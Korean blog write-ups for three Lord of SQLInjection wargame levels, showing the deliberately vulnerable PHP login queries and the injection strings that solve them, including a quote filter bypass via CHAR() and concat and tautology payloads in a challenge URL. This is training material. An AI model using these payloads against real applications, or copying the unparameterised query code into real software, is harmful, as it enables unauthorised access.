문제


풀이

if 문을 확인해보면 id가 admin이면 풀린다.
쿼리를보면 guest가 기본으로 들어가 있기 때문에

no절을 포함한 앞을 false로 만들고 이후 절에 id='admin'을 넣어야 한다.

 

하지만 No Quotes~ 를 보면 정규식으로 '를 제한한다.

 

이를 우회하기 위해 서브쿼리로 숫자 -> 문자로 치환한다.

?no=2 or id=(select concat(char(97), char(100), char(109), char(105), char(110)))

 

no는 1일 때 guest가 참이었으므로 2로 변경하여 False로 반환

id가 admin인 것을 찾기 위해 서브쿼리 생성

concat을 사용하여 변환된 아스키 코드를 연결

char를 사용하여 입력받은 숫자 아스키를 알파벳으로 변경

 


'WarGame > Load of SQLInjection' 카테고리의 다른 글

LOS cobolt  (0) 2023.12.22
LOS gremlin  (0) 2023.12.22


문제

uery : select id from prob_cobolt where id='' and pw=md5('')


<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

 


풀이

if 조건을 보면 id가 'admin'면 되고

쿼리를 보면 pw 부분이 있지만 or 조건으로 true로 만들면된다.

 

 select id from prob_cobolt where id='admin' or '1'='1' and pw=md5('')

위와같은 쿼리를 만들기 위한 쿼리스트링은

id=admin%27+or+%271%27=%271&pw=

 

 

'WarGame > Load of SQLInjection' 카테고리의 다른 글

LOS GOBLIN (문자열 치환)  (0) 2024.03.07
LOS gremlin  (0) 2023.12.22

query : select id from prob_gremlin where id='' and pw=''

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

 

 문제를 보면 해당 테이블에서 아무 데이터만 가져오면 된다.

if($result['id']) solve("gremlin");

where절의 모든 조건을 참으로 만들면 해결

 

 id='gremlin' or 1=1 or '1'='1' and pw='123'

 

https://los.rubiya.kr/chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=gremlin%27+or+1=1+or+%271%27=%271&pw=123

'WarGame > Load of SQLInjection' 카테고리의 다른 글

LOS GOBLIN (문자열 치환)  (0) 2024.03.07
LOS cobolt  (0) 2023.12.22

+ Recent posts